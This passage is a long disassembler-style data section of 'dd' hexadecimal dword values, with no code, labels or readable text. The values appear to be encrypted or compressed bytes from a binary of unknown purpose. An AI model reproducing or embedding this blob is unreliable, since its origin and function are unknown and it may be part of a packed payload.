		dd 492A6462h, 0A6FFC59Fh, 0F59D0012h, 33536D5Bh, 3B6457h
		dd 7301E490h, 5922BFAFh, 0D908852Eh, 7E38BB4Eh,	98E72E76h
		dd 0E226395Bh, 0F399FF3Dh, 0E02DB6A0h, 8D8F9B14h, 0A59794E9h
		dd 0F26EFDh, 0A6CECEDEh, 9B680B04h, 0B2DAFBA7h,	43D30C86h
		dd 0CC4B85E6h, 0B8B753Dh, 0E07508D9h, 19E01AD5h, 0C917EF62h
		dd 0AA095078h, 9B2D6C7Bh, 2DFE9923h, 8A4551Bh, 0AEE0343Ah
		dd 0EA93B462h, 211F04F6h, 0AD298298h, 0B3066B99h, 9E3BCA1Dh
		dd 91DAE8BEh, 5C8B2786h, 0F6FBB158h, 0B11C6FA9h, 57238370h
		dd 906D1DEFh, 76652F50h, 0AC890DECh, 0B7935A02h, 0DCE4B14Dh
		dd 93A33B12h, 0FCBB482Ch, 8F2AB925h, 0F32C8D23h, 956C609h
		dd 0E4E511FBh, 0B5C4E9B9h, 0C5F6381Bh, 9E704473h, 319794F8h
		dd 0F77B827Dh, 0FE2B9034h, 543E3014h, 3D5533D6h, 75A36264h
		dd 0B4FEFB69h, 5E9D6F67h, 0F2BDA576h, 0DD8710E6h, 0F685F2ADh
		dd 1B1CF9C2h, 0CC895452h, 97307080h, 0A5541F63h, 213A441Bh
		dd 2A1A0949h, 11D560B9h, 4ECDC242h, 3D137119h, 27CAEEB4h
		dd 6397A97Dh, 3AA0FA7Bh, 0F917AFADh, 0B89F6B52h, 80CCAD34h
		dd 0D22D696Eh, 488CEDC9h, 82FC0411h, 0FD95F863h, 0B9CED543h
		dd 0B476A49Eh, 0E01CF3EAh, 0B50F66C0h, 1782AE59h, 0C9D92FB9h
		dd 7B1E7833h, 429FDAA6h, 0F02B5152h, 4B046947h,	63B80BB3h
		dd 5A299218h, 2C6FE7C2h, 0F0AEE6CDh, 98C549Ch, 63D422F0h
		dd 79D7A668h, 113CAA5Fh, 3FEBCCE8h, 4BDAD6FBh, 8AE5AB6Eh
		dd 0D9DD9D0Eh, 0A0C5FDD3h, 980576E8h, 0D1117DE3h, 0B1039A5Fh
		dd 0EAEFA18Bh, 2F920C1h, 62759C7Fh, 0D2083F9Ch,	1E600E1h
		dd 0C5897475h, 3255BC77h, 41844C7Fh, 0C90F5408h, 0D89514C9h
		dd 12FDBA0Eh, 0EF65FF47h, 0D7688378h, 59E41007h, 19B83B8h
		dd 68813E5Ch, 8F2F098Ch, 89F784DDh, 70EA04F0h, 1BF04253h
		dd 418FD672h, 919B4B10h, 6B780C7Bh, 9AEE0BECh, 0FDF0739Fh
		dd 98F99458h, 0BA8CDC9Bh, 0CF78B09h, 8327B8DAh,	64C2C0E8h
		dd 28EBD0E9h, 2220E0C8h, 135B1E2Eh, 0C82A24F9h,	4A7523A4h
		dd 5EA4577Dh, 45112A3Dh, 68A8C6E7h, 0C80602EEh,	0C72D5EECh
		dd 0D5E0A99h, 0EED5B158h, 0C4FE206Dh, 844CAA6Fh, 0C2F1C011h
		dd 0FCB33585h, 1C6C731Eh, 8B8EEA2Eh, 0A1E6C0DEh, 0E4B5BA91h
		dd 3CC13021h, 0EFED2A42h, 73ACF390h, 13F7E03Fh,	27BEDEAFh
		dd 0BD803751h, 0B7EE1B20h, 3527EB2Fh, 0C315B2A7h, 3D730F0Eh
		dd 77E60DCFh, 0FFD00BA6h, 0C2128425h, 0BAAF4C43h, 91B276A6h
		dd 0AE1A4A55h, 0F40F692Ah, 0E3442244h, 96949D65h, 8845AC14h
		dd 31159307h, 3A32B512h, 0C6CB829h, 0AD49DE8Dh,	9F8C86E3h
		dd 3653A077h, 324E5719h, 9E624BE3h, 6C615F9h, 0D6A6E90Bh
		dd 2FD601A2h, 0AEFED064h, 16223229h, 0CCD0455Dh, 0ACACF4DDh
		dd 7D53CA13h, 0A988EB7Bh, 901460C6h, 5FBB49B2h,	0A644B9F2h
		dd 26350C40h, 32A7CD72h, 0F189C493h, 0E155F8BCh, 0FFC70E19h
		dd 114FACCEh, 64809183h, 332FE31h, 2921B328h, 4D252609h
		dd 0F4597E02h, 5B6AB26Ch, 0F74DDE0Fh, 60CE6D29h, 0E05BBFBCh
		dd 9E47B6F8h, 0DEEA7504h, 0C339375h, 0D01847F5h, 0B1F604F6h
		dd 690F9D88h, 76A606Bh,	4C14A814h, 39894B32h, 46B8CEA6h
		dd 553B60Ch, 5F77BC37h,	0A9649209h, 0C0A3FA9Ch,	8370CA58h
		dd 446D6681h, 0D86306ACh, 7723444Dh, 0D3A54D85h, 30BAD3EAh
		dd 75015CA4h, 9483F9CEh, 0A0FEEC9Bh, 921C2A84h,	0C9CDAEADh
		dd 16FC381h, 9E09A84Fh,	703D186Bh, 0AB895B98h, 86CECBEFh
		dd 0A3313B98h, 7F610380h, 0AB862E5Eh, 3F9DC673h, 4A1A684Eh
		dd 6AFBA5CDh, 0A42F87DEh, 9BB9BFFh, 0CB3D22F0h,	0FE7BC57Fh
		dd 0A36BFF78h, 3E9A0A6h, 7AA9324Dh, 0AA1CC340h,	0E679FBEBh
		dd 0AD5742BBh, 39497693h, 9AD41C80h, 0F80B7DCEh, 0B272A018h
		dd 782A4262h, 0EB1FAD42h, 54FF7673h, 38D5D6E0h,	7223C9FDh
		dd 2FBC0F18h, 22025D3Bh, 0BE7B1F8Dh, 0E1A50276h, 0F263CD62h
		dd 0C3882352h, 1FFD6947h, 0C8871A20h, 21653CB7h, 4D2D1E9Fh
		dd 8B2EDDAh, 0AB52669Fh, 97A4255Bh, 82A3A743h, 513B8D2Bh
		dd 4FB89EBBh, 1642F65Ch
		dd 12452B28h, 6DF4EA89h, 4D585998h, 330F08E5h, 662CBD16h
		dd 1182F481h, 14561B8Ch, 64F331AAh, 0A6B39D59h,	8CD98D71h
		dd 32B35F8Ch, 40BE1268h, 7E2795BDh, 0CACFDEA1h,	0E3A0DF20h
		dd 0E2472876h, 0F34988Ah, 7DC780C2h, 66D28905h,	917A8A1Ch
		dd 6FB07219h, 7CFAAF49h, 0D392A15Bh, 0EB30378h,	0A435D337h
		dd 0EFAF55Ah, 2B15528Eh, 2E91F3Eh, 69CA166Ch, 0A9F617D1h
		dd 0C3A47FF6h, 96528304h, 0DC1BC87Dh, 8A85295Ah, 0BC8CDC9Fh
		dd 3908523Dh, 0E8F42BA0h, 5D6C1C06h, 754FB8C6h,	933DF08Bh
		dd 0ED312F6Ah, 238A142Bh, 0DCA466A0h, 0C66AFC50h, 0DBF7A755h
		dd 76B88560h, 2197C3h, 6B965D65h, 13147D2Ah, 0AF779EC8h
		dd 0B8E787CAh, 0DEDC3748h, 4F8F6077h, 264984A0h, 3964122Fh
		dd 0B9CD32E8h, 0F36FB001h, 6C7806C7h, 77893185h, 3C69D703h
		dd 0B2F367D9h, 41C7F08h, 0E707486Ah, 0A4B98948h, 0CB300CA5h
		dd 6F36135Ch, 8FBB4A2Bh, 888D6936h, 0F3258Bh, 0BAEC47DFh
		dd 7B203358h, 68A69869h, 0F658BAB3h, 5A2AC9CFh,	33A71488h
		dd 2179FFACh, 8C0928D2h, 84456092h, 0C12EC234h,	0D76A3A3Ah
		dd 5C3FD235h, 7BDE6766h, 39B46AE4h, 0FB7CEFEEh,	0E70697C8h
		dd 428DA00Fh, 84436A9Dh, 0A8B0E737h, 0F3D88BB9h, 733CB357h
		dd 0F5C9CA72h, 0C8315CB2h, 357D0741h, 6E8CC88Dh, 0B4FDD3Ah
		dd 0EFBC41B5h, 0FCFFA17Eh, 64B298BDh, 5D9E556Eh, 7CAF4A18h
		dd 0DB0FD6EFh, 0AAC49829h, 0C8F547C7h, 0B807FCF2h, 0B42028ABh
		dd 0E72A0FE0h, 4363A095h, 16660570h, 723B828Eh,	7607A57Dh
		dd 36057302h, 572230A7h, 0A0571940h, 691EC75h, 8A30D44Ah
		dd 271D8E1Eh, 0D9C88D63h, 0D8ACEB60h, 0A02F7EF6h, 934C3D55h
		dd 0EC404F91h, 7B3D77F0h, 54B575F4h, 7DA91E43h,	1AA05207h
		dd 0DFFE0E72h, 58D55073h, 0DACEA4DFh, 0E7C91B68h, 0BF3297DAh
		dd 0FD987EC0h, 42A0B79Ah, 0B1966389h, 33478E80h, 0BF8D8CEDh
		dd 8239A1ACh, 8D4A0C07h, 86394913h, 0F94099A7h,	839BA5CBh
		dd 7E6B9B1Bh, 5D626EE9h, 0FE6FB111h, 0AC24C761h, 5DD1F519h
		dd 2973EBEDh, 861C492h,	88EC2FD4h, 893860Ch, 2D137493h
		dd 7D3310A4h, 0CFC3EA88h, 0FF400078h, 524A7846h, 96AC7966h
		dd 0A1E78123h, 6B2CAE64h, 0B24BD60Ch, 8F9CF775h, 0D6F8C01Eh
		dd 62F7F78Ah, 226633EEh, 2CF27A1Ah, 77F095A9h, 0A38D93E2h
		dd 0D8687C20h, 0C2AEF313h, 1753ED73h, 769A8907h, 19B67E33h
		dd 1DE57BBAh, 60024637h, 5F84A254h, 7CE42B23h, 8D4A329Fh
		dd 5926B8B6h, 0CA2BD8D7h, 0D8913A1Dh, 21649414h, 7D9E8187h
		dd 0D666C116h, 0C78DA092h, 326ADFEFh, 30D63140h, 3307297Fh
		dd 0F58F1997h, 0D9304FB0h, 0E51FE0E3h, 7104AFA7h, 0D6DF1C33h
		dd 0E26BD4E1h, 0DD5A7224h, 0A6219EDFh, 0BFF4A4E5h, 32D0DEFAh
		dd 16C64E9Ah, 4BC3571Fh, 62737F41h, 0EA50B0FCh,	26D1789h
		dd 0D956C506h, 0D63B2880h, 564ED676h, 9FB179EDh, 0A1D0A259h
		dd 126BC471h, 2A2902DFh, 0B4FE273Ah, 0EBB8A4E3h, 0C5FBA8CBh
		dd 0D8A8C2E6h, 37D576FCh, 39EFD395h, 8C62F281h,	7D45320h
		dd 0D6ACCA87h, 2D2DB95Fh, 0C067CD45h, 0B1A1F22h, 0CF1353BDh
		dd 0AC0DE497h, 37B50AB0h, 7BCE5339h, 4ABF979Bh,	7A7065FFh
		dd 0ADE8EA62h, 6B41A5DEh, 60660CF4h, 923A67BBh,	0F391F5C5h
		dd 9F737377h, 0E2E40413h, 0B57F76BBh, 5CD90660h, 0AA314E7Fh
		dd 1818CD11h, 0CF20669Ah, 0F1BE8757h, 7C45539Ch, 3AA30E44h
		dd 9580AA99h, 65722D85h, 0F1244529h, 0D2988340h, 0E0448CEDh
		dd 60DB12F7h, 64D9E8F4h, 906AD9AFh, 0A3D82363h,	0FBB0D599h
		dd 7BDEC09Ah, 5163FE6Eh, 1CEF4BB3h, 0FE6A7759h,	0A7F26592h
		dd 0F6E47C9Fh, 72DFB6A3h, 9B8D3D99h, 1FD2FB35h,	0ECE34BEEh
		dd 7CFCFA42h, 9749F6E0h, 8A8830AAh, 76DB77C4h, 7E28BE11h
		dd 0FF2DC13Fh, 84E4CF42h, 8608EE92h, 918696EFh,	0A855F0ADh
		dd 0C7C284EBh, 6064F932h, 0AD7605C1h, 0E5ABFCB1h, 9CF2AC67h
		dd 172CFA56h, 0EE0C9DCFh, 428B3075h, 0DFE82692h, 23EA9B3Fh
		dd 0B7FB3346h, 0ED153FFCh, 4366DA9Bh, 27D737C3h, 49E5058Eh
		dd 0FBBE6C9Dh, 4A02506Ah, 97106309h, 0F1BC1832h, 844CFFA5h
		dd 3334FCD7h, 71C03DE4h, 0B3D677Bh, 0C37B45C5h,	24314379h
		dd 90D47578h, 490C1F90h, 37584BA7h, 80579D9Ch, 60D451D5h
		dd 75633B1Eh, 0ABDD58F0h, 0A6DA698h, 0B9FA770Eh, 1744FC82h
		dd 35D50E49h, 4FFA6D85h, 992B50BCh, 5571E9D1h, 0FD07D727h
		dd 59D0518Ah, 0AD4059C3h, 797ABF15h, 7C10B881h,	158E28E7h
		dd 0BE6C110Ch, 10EFEBB4h, 524D4251h, 9B409494h,	2F0FDC1Ch
		dd 0AED8AE05h, 0FE639815h, 0C9336712h, 9DA180F2h, 0CC92B4B7h
		dd 7BCD6BC3h, 89F2E9C9h, 0A8BA318Bh, 0A5E4B317h, 774777B8h
		dd 0BE673A6Ah, 0E8E64BDFh, 0D1B15415h, 2CA95757h, 8874CB61h
		dd 0FDC7009Ah, 0DC9EC2B9h, 24B9AD4Eh, 0BC0A0011h, 0D9861827h
		dd 9824F8C5h, 49B3B3CFh, 67EAD212h, 0CFE28D33h,	95453AFFh
		dd 78F8F232h, 5B30AA2Ah, 8A729C92h, 736CACFDh, 4CC9605h
		dd 0EC659D4Ah, 0EFF104DCh, 8D4BB529h, 24C4EE61h, 7153EF21h
		dd 1C3C12A9h, 389713C4h, 17A10B1h, 450C1A7Dh, 92A53C4Bh
		dd 8B66517Ah, 10AED9A3h, 0BE271F97h, 7913C09Dh,	69C08C3Ah
		dd 3417607Bh, 91C3AB86h, 2F7819D4h, 10084FFh, 5D750FC9h
		dd 0CF6CC70Eh, 6B16D25Bh, 8675F0A0h, 0DE8E438Eh, 91E45392h
		dd 2B7F1A56h, 46CD34A2h, 0FD89148Ah, 0FCF39A76h, 0B1E511F0h
		dd 284BA0B0h, 968658EDh, 0F0BF6ECAh, 0DBC42DC6h, 99F2D07Ch
		dd 5CE3F6CDh, 0B7B07B73h, 1F57490Ch, 0D03CCF2Ch, 7EF35C4h
		dd 14E73D4Bh, 0C8961CC9h, 0E8F53754h, 3A8CD8E4h, 7FC4E606h
		dd 6F6485Bh, 0D134BB7Fh, 3ACA6586h, 0CEFDEC78h,	0A0FF947Bh
		dd 17B29592h, 603FDB5Dh, 8C90ACC3h, 0B5D4D74Ch,	794C8857h
		dd 0E3D924D9h, 0ACC2AD3Bh, 0F67DC20Ah, 0DFCEE450h, 0D25AFF4h
		dd 68E2B5EBh, 0D351ED8Bh, 628B9F89h, 0EC70B681h, 0B9F04A9Dh
		dd 27B2A5E2h, 0A8C0EDDCh, 84602B25h, 146FDF50h,	46A531E5h
		dd 86747F7Bh, 33164562h, 0A13696D3h, 4EEF0372h,	83220F16h
		dd 0D4935688h, 55AF8B77h, 0CA36D117h, 99AD386h,	9F4C5503h
		dd 76F42BBCh, 5A15D3D0h, 85B231C6h, 0DFA72044h,	0EB9C4192h
		dd 0C1B01028h, 812FC152h, 0BAA32CDAh, 6F090C5Ch, 5EA75665h
		dd 8E3D846Eh, 648EBF27h, 96221082h, 9A198804h, 35E16B0Bh
		dd 1AFCE257h, 4FFFE5DDh, 8719BEE7h, 27E59757h, 0DC4BF1B4h
		dd 0C2DA31ECh, 0AC49BDA8h, 0D85BAE4Bh, 7C1CAA7Ch, 4A4C4838h
		dd 2D013E91h, 52C81BD2h, 22CBC06Eh, 0CEC4FE08h,	7A330902h
		dd 0EAF5810Ch, 8C22568Fh, 0A2BC6FE9h, 6D5593D6h, 5E6E1D49h
		dd 994A0A0Eh, 0DDF96C3Bh, 0BFC8A427h, 0F4A28E0Fh, 84A7B586h
		dd 0F5FDD57h, 5DBFDD02h, 5F1990B0h, 0E592CCBAh,	7FE52DEFh
		dd 0D0E1DE4Ah, 0EB41D197h, 356B8DC7h, 0A9DC7A66h, 7604725Fh
		dd 2495DF9Fh, 0A04B9AD7h, 19732EC3h, 0DA65C3CFh, 0C2514CE1h
		dd 37029AF9h, 3D85BEB1h, 0E5D0389Fh, 2C3848ABh,	0C92C845Bh
		dd 0CC3315D9h, 6B07BD2Eh, 4EC2AC29h, 35B73915h,	0FF54D3BDh
		dd 37DF77B4h, 2FBEBCEh,	0E4B9368Bh, 0F70213E5h,	0B7EA3945h
		dd 0B42181E1h, 5BB46541h, 505D7429h, 33840655h,	5D78A5FDh
		dd 7E614F96h, 6EE8677Eh, 0FAC2317h, 0AD0480B1h,	23323A7Ah
		dd 99414526h, 93B9BDA1h
		dd 0A171CC06h, 0BB90C006h, 0BA05A24Ch, 0D0EF7B11h, 83F4126Bh
		dd 0F1D91190h, 0AC05754Dh, 0B1878935h, 87E357AAh, 0F1791EC4h
		dd 1C68E102h, 1E90FCD8h, 0C17C8FC4h, 0EF830173h, 23AED9BDh
		dd 33A1E96Bh, 0D33D8CD5h, 0C1045DF0h, 80EA3670h, 0DDEE0C20h
		dd 0FCD2CB18h, 27A5A9B6h, 0A4E0EC12h, 0CA761ED6h, 67835E91h
		dd 352E6185h, 296C6519h, 36D4D2B7h, 0F1E7EAA0h,	8C72DE23h
		dd 0DAB4C685h, 0CCBFF327h, 0A3F9A63h, 70E88091h, 53C91BCEh
		dd 3703AE35h, 22F23D65h, 0CE0772ADh, 5606D0C2h,	68A625AAh
		dd 683A881h, 2B4C1249h,	41EAC9F2h, 824B4365h, 0C8413861h
		dd 3632B60Bh, 0EC809D68h, 1A261546h, 0C3828BD2h, 0AD505995h
		dd 93004694h, 0DB4B9660h, 0BC2BFD72h, 0FE2C5D16h, 0D8C3316h
		dd 9C1B3D87h, 0D353EEFEh, 7EDBF611h, 3E4B71CEh,	586EBB33h
		dd 3543357Fh, 546B353Dh, 97C00996h, 91C0F305h, 857E4473h
		dd 9CDCBFD0h, 0B10AFFACh, 1D7845D7h, 0A24C87B8h, 91EDD0C4h
		dd 3FDC4EBCh, 0FA2D420Dh, 0C395D903h, 0B0B9F02Eh, 0F60F92D1h
		dd 43B1EAC9h, 0C7974B7h, 5CFE3D14h, 4E4680AAh, 870FE8CEh
		dd 0D54FAE6Eh, 8CCE2694h, 0FDEB24ADh, 0B02D9952h, 3FBD7244h
		dd 63F5ADFBh, 0FAC3CBAFh, 76AF24Fh, 0F3524FF5h,	0BBF70936h
		dd 663A15C7h, 9009A9D3h, 0F2EEABA5h, 283866A8h,	0D18FCA62h
		dd 484E13A6h, 5ED9E165h, 9A839DD8h, 1DB4316Ch, 99AAB2BCh
		dd 2AC97C3Ch, 0C60268F4h, 0AEE8E9A0h, 1A739275h, 161BB103h
		dd 0CA3382D2h, 63E22786h, 76FFC70h, 75E0A8EFh, 0F690574Ch
		dd 0C5058030h, 60D4D96Bh, 0F2483D72h, 8D068A07h, 283EB67h
		dd 0C371BF69h, 0B09FF927h, 52F03B09h, 0D5B48041h, 95579794h
		dd 39F4DAE8h, 69C8A9EEh, 0B51873B4h, 88F220DDh,	0BA99C3FEh
		dd 3684840Dh, 8D27170Ah, 0B344855Fh, 3E81135h, 0F23170E4h
		dd 7879C872h, 0D90611BBh, 1A5B01EAh, 620D9DF7h,	45A7E5BDh
		dd 16500770h, 0F3BAAF21h, 6ECB6752h, 53A7DD76h,	0A7398F03h
		dd 1C9F48C7h, 11CCCFC1h, 0ECAAF787h, 0B06A995Eh, 0A38B7929h
		dd 5A9983CEh, 9FDDD31Bh, 63EBBF17h, 82E1CF07h, 0CB5621E8h
		dd 0F715012Fh, 1BEDAF7Dh, 0A4305973h, 0F9D910A8h, 0A5361B47h
		dd 7A60B6EFh, 146D90CAh, 8B3DC5BAh, 0CB90589Ch,	28513296h
		dd 4590601Fh, 1999A183h, 0B241E125h, 44B530B3h,	0BF4D48EFh
		dd 0B4E5CE2Ch, 5993F991h, 0D92AB6FAh, 5A46CCAEh, 68CFA641h
		dd 8135D17Bh, 778215F9h, 0F4C44E8Eh, 4EF8F201h,	0A8E09A2Fh
		dd 0A91723Dh, 0DA3DF4E6h, 0E5959BA8h, 0F8567413h, 22B0F0B0h
		dd 0BF711E01h, 0A77C0168h, 0A124BCCFh, 0C1E9B840h, 4EA0BB8Ah
		dd 6F3E66B5h, 0DE6A6B9Eh, 8340EB1h, 0EAC091CEh,	9BA5F6E9h
		dd 114D8EB0h, 7E61E2EBh, 9FB2071Fh, 23D897EEh, 8CE37A49h
		dd 7D151F6Ah, 0F925688h, 4E38C3D7h, 54577263h, 0D2E8368Eh
		dd 778F59BBh, 57817C5Dh, 6E566577h, 11BDAC66h, 72625859h
		dd 3C55FB98h, 0E22B9153h, 0E43C2BC9h, 80DA6FB7h, 44B3282Bh
		dd 31BC665h, 6A8DC0F0h,	0B6C12942h, 53139E3Ah, 0B584C9CDh
		dd 0E7FF30D4h, 0EE24D987h, 0C2B2FDEDh, 356C5757h, 0CE4B00A4h
		dd 311A359Dh, 0DB6E23F2h, 0A032A801h, 0FEDEB23Dh, 86599297h
		dd 95B7D988h, 4C7D1F18h, 36F255E1h, 2303ED67h, 2CE17495h
		dd 21318ABEh, 2A2A2C7h,	20D51619h, 67C024D3h, 0B51FAEF5h
		dd 1C4DCB36h, 0E64A9100h, 0E3EC3AC9h, 3015975Dh, 368A67A6h
		dd 8BA70A29h, 19552F2Dh, 37EAA0CAh, 1CDA26A0h, 0D9DD3B4Eh
		dd 0DC8234F0h, 272CA85Ch, 24AAA74Ah, 5AF9309Fh,	29223463h
		dd 0E22E74DAh, 8B3CBDA0h, 0F1EE399Dh, 649608E4h, 0C6797A68h
		dd 0B8CAC4D5h, 0BFBA8C11h, 0A7C513EBh, 829A034Dh, 0F57E4EA1h
		dd 5B1D23E4h, 8411B956h, 924114EFh, 8789EBACh, 51F29F0Eh
		dd 66DBAD02h, 7E81C4E6h, 0E291096Ch, 166E053Dh,	61406F76h
		dd 0C0F3CD88h, 5A07976Ah, 0AFFF02CDh, 58F39680h, 3FA61F3Dh
		dd 41B85C3Eh, 6CABB1C0h, 22BDBA33h, 0B47F6EBh, 0C4A48CA1h
		dd 220F8870h, 67818C77h, 7073AF47h, 16335FB1h, 2718909h
		dd 0D20E28C8h, 5533382Bh, 0F5D66264h, 2AD653DFh, 0A4323827h
		dd 0D27C6881h, 9669A1BEh, 0D9D6393Ch, 59D0CDA7h, 390F5FBEh
		dd 4050EF54h, 5E3C1D32h, 90D36Bh, 32956E6Eh, 40F99989h
		dd 2C5D2A9Dh, 0A3BB12FBh, 0C98DFF09h, 67A09D23h, 9B001A2Fh
		dd 20E5AC56h, 0A12851E1h, 0F65F264Fh, 0D17A39C9h, 0BEB9231Bh
		dd 8858420Eh, 895ABF7Ch, 7BBDB245h, 27B93ABCh, 85F928Ah
		dd 1996BB3Eh, 0B4D73E2Ch, 3F547112h, 84BF29DBh,	0E4036039h
		dd 0F910E417h, 3F61C641h, 5589B223h, 22259B37h,	9ACAA2CDh
		dd 0A9AF29B2h, 9CF3E765h, 94C86C6Fh, 3490FAFDh,	0B4516DECh
		dd 57218C5Bh, 21581702h, 0F6163B0Eh, 6A1B454h, 69023B48h
		dd 41614BDEh, 2973FDFh,	3659E842h, 3D1ABDCh, 6767F595h
		dd 97B3CCE9h, 0A7F5E8AAh, 0F5E4184h, 22CDE34Bh,	0D626A20Ah
		dd 18EB7057h, 0C9C64438h, 8567A90h, 0E1D42B3Fh,	8A939FCEh
		dd 5A23E2Eh, 0A6EF0C06h, 1CA46CD8h, 0FE58A28Eh,	9AA6EE9Fh
		dd 6E8CFCA3h, 8E35253Bh, 73A8FD94h, 0ECDA5EB8h,	7E721BCBh
		dd 790DBB71h, 5AE715CFh, 0CEDD8475h, 0F15C0E2Fh, 0B24D33ADh
		dd 0DCB5B056h, 39641A4h, 0B1023141h, 9C894E17h,	8F86B49Eh
		dd 37CA86D4h, 0A399D8C8h, 0D0ACECE7h, 155FDDAEh, 76E93ECAh
		dd 166E700Bh, 6E85D3CFh, 42BD7D94h, 4E1F105h, 0D410C10Ch
		dd 0F31CD7Ch, 4BFBE542h, 0B132FB2Ch, 0B9C44580h, 227EBDBBh
		dd 156C1822h, 78CBDC5Dh, 67757423h, 0CED33A98h,	0BF75E9D3h
		dd 0D2890E8Dh, 9EE3E907h, 0BBDC86A0h, 0F5332C14h, 0B3E70D2Bh
		dd 0B6FB6EE8h, 264D4337h, 0D775DDC8h, 0EF3E5E6Ah, 27921A6Eh
		dd 0FFD8D8CAh, 68F60E71h, 3AA39BA9h, 7E19EC0Bh,	5E9A9A74h
		dd 4DE14F1Fh, 0BCB8AD5Fh, 0F29A7069h, 9C63D9A9h, 0FEAB0EC7h
		dd 0F67A1AABh, 0DD27CAC4h, 0DDA12441h, 0A3A8B53Bh, 5A0D0596h
		dd 6DFA50Eh, 684CAD0Dh,	44627084h, 0E28A208Fh, 32BB4F18h
		dd 0EA095CCDh, 0F9DB8A6Eh, 6FD47F9Fh, 726994ECh, 6939F094h
		dd 58ABB1A6h, 1F6D62Ah,	8DEE05E7h, 0C7A5EA8Eh, 4CDD49Fh
		dd 0D3D372C5h, 0E530C350h, 7DB693B6h, 0D05CE931h, 238CC492h
		dd 0CC2F9D47h, 0A5936DC1h, 0FB8E2F06h, 479A715Eh, 0C4CF6914h
		dd 8D875088h, 0FA52E439h, 4A517BA2h, 0D07519A8h, 2AD78551h
		dd 64DE79Dh, 420EA7ABh,	533175B1h, 430B5997h, 7B6E8D40h
		dd 0FD6B654Dh, 0ABD46F9Dh, 0B6D7641Dh, 75E0920Bh, 4E2DF04Fh
		dd 0E693857Dh, 75C07988h, 7A159927h, 0CF205F20h, 3E441C11h
		dd 0D41D8609h, 1790DC11h, 4A3EBA48h, 0CF8822B5h, 95C34D12h
		dd 0E716DAE0h, 0C7726B67h, 0BFE76268h, 9F42E244h, 0B737A776h
		dd 890E16A9h, 0A922BEAFh, 0E925233Eh, 233388F7h, 16A9F783h
		dd 0DC99B8E5h, 0E8C0CC01h, 0CA8E1B75h, 485CC34Eh, 0BADE088Eh
		dd 0E014F52Ah, 14FAE540h, 0FC31EFB9h, 0C12C4DB9h, 4BDA73A4h
		dd 534F515Ch, 0FAB50D6Ah, 0B364DD8Fh, 0A37AA33Eh, 15A942B6h
		dd 0DC8BABE8h, 2B528795h, 1F8C793Ah, 9F647F05h,	0FA07541Eh
		dd 85FE652Dh, 7E1C57B4h, 41B37D83h, 0DF9BBB68h,	1A1EB32Eh
		dd 0AC32447Bh, 9D42411Ah, 0C39FD5F9h, 267B0013h, 0F2A72007h
		dd 35B30D65h, 1E23E782h, 11FA575Fh, 0C2F9F0F4h,	9968A466h
		dd 88D36355h, 0DEEFEB57h
		dd 836C374h, 5C5C0D42h,	19EF7FC7h, 6AC8C6A5h, 0E9F7FE53h
		dd 0ECF62F38h, 64D4988Ah, 0B85FA87h, 9F119D15h,	7C96D834h
		dd 5742CFD7h, 0DFF55C5h, 0EA13BA06h, 7B8EF66Eh,	0C3F3AA3Ah
		dd 9C4AD477h, 8D15C04Dh, 0E0FBC07h, 0A176FF63h,	84508F8Eh
		dd 1F72A942h, 6FC912A3h, 0A2F3F62Ch, 15FD3941h,	0BC49BA44h
		dd 0DC0B6118h, 5B435945h, 18E2F350h, 19DD2907h,	90FF839Fh
		dd 0DE9F56FEh, 42B8E5F1h, 6C8B6136h, 0E71FBE25h, 6523DFBBh
		dd 5238476Dh, 0C6086DC7h, 0F2F9E0D4h, 6E9BE4EEh, 7B659BC2h
		dd 0AEA8B8ADh, 0A2B7AAEBh, 4FD4B657h, 694E1547h, 57936DD0h
		dd 7780C972h, 690166CCh, 0DE99C12Eh, 0AAED0081h, 68420E4Fh
		dd 0CB5D97AEh, 0B6412F34h, 1779EF5h, 0A7074A85h, 542BD756h
		dd 0C7A3AC47h, 0F2F529F1h, 0D4BB3179h, 0FDA0428Eh, 0E75EF491h
		dd 94503EBCh, 6F90A8DCh, 39A06385h, 90F191B1h, 9CB5DB3Ah
		dd 0BA6EE91Fh, 0B101A382h, 0DC9CB6B2h, 0C226B49h, 318DA7ACh
		dd 0E051A6A6h, 9AD50E5Dh, 6E3A42BBh, 3F0F2CE2h,	0DAD3603Dh
		dd 0D118CD62h, 0BD0328C3h, 423F08A7h, 0C641E028h, 50411F99h
		dd 0DF6AF8B8h, 13796CBCh, 56D7AE7Ah, 0C9A8E8EFh, 93EB157h
		dd 0DCC7CA6Fh, 9B39CE15h, 24177814h, 61A57083h,	42C22EA4h
		dd 0A84D9FF2h, 4D6E5F04h, 0B677D5C7h, 0ECDD5A93h, 0C34C196Dh
		dd 70DF3BCEh, 0A817F2E4h, 0A737D154h, 804F311Eh, 270B62ABh
		dd 4766F0C3h, 199E5E02h, 0D4CE5DA5h, 4453AEB3h,	0EF100558h
		dd 0E38DCD45h, 9847F17h, 468C9854h, 4A68E4D4h, 0D10AE2B0h
		dd 8F4A9392h, 0C9F8C20Eh, 6E72B50h, 888B57C2h, 0B23254FBh
		dd 8B2EF7F8h, 0EE643A96h, 9420818Bh, 3F366D8h, 39078FCEh
		dd 0AC80785h, 0C2F1CD57h, 0BDDF0BBDh, 28FA1481h, 23D5242Fh
		dd 7FB77B8Fh, 0F254608Eh, 0ED4A0DB3h, 0D05BAAE0h, 0EA8A17E4h
		dd 0C2C6F65Dh, 0C8BDE58Ch, 8D6E1ABFh, 0B7CD7F7Ch, 0E71E17E2h
		dd 0BD1A8EF7h, 0F6A5D954h, 0C016F90Fh, 215784E7h, 0E230B1FBh
		dd 0FDCA1706h, 14F99BA2h, 0F30620ABh, 3925C5C5h, 824F8459h
		dd 0A931384Bh, 8F941709h, 829F0F50h, 6DF4A264h,	0F4257298h
		dd 0C02981B3h, 0E936F8B4h, 71FC64A3h, 55BB0135h, 51FF53Bh
		dd 197E90DCh, 579056C8h, 9492BDCDh, 4EB7FF41h, 0C874CF0Ch
		dd 7EE309F7h, 5E2643F4h, 0FB750C86h, 8FEB8EF4h,	4E6E6DD0h
		dd 435E6A06h, 0E58CB11Eh, 6F550380h, 82D4A14Ch,	0EBD2DB7Dh
		dd 0A98EB6CAh, 5B96D811h, 68E284AEh, 0AD67B583h, 3F30E4F2h
		dd 3F34A75Bh, 1BDF0885h, 0DAEE0FA0h, 5E340113h,	0EF60A51h
		dd 61173274h, 484EA760h, 79F24C67h, 232B0585h, 49C8A2B3h
		dd 3B660AC8h, 4163D209h, 74F71032h, 3D561F40h, 75BB3E18h
		dd 2027BD1Eh, 0B02A48E0h, 4AF71EEDh, 0B4D37FE5h, 9003F4ADh
		dd 4707AA8h, 35FFA382h,	0FD2DC4EEh, 0BEF03E35h,	25AC6331h
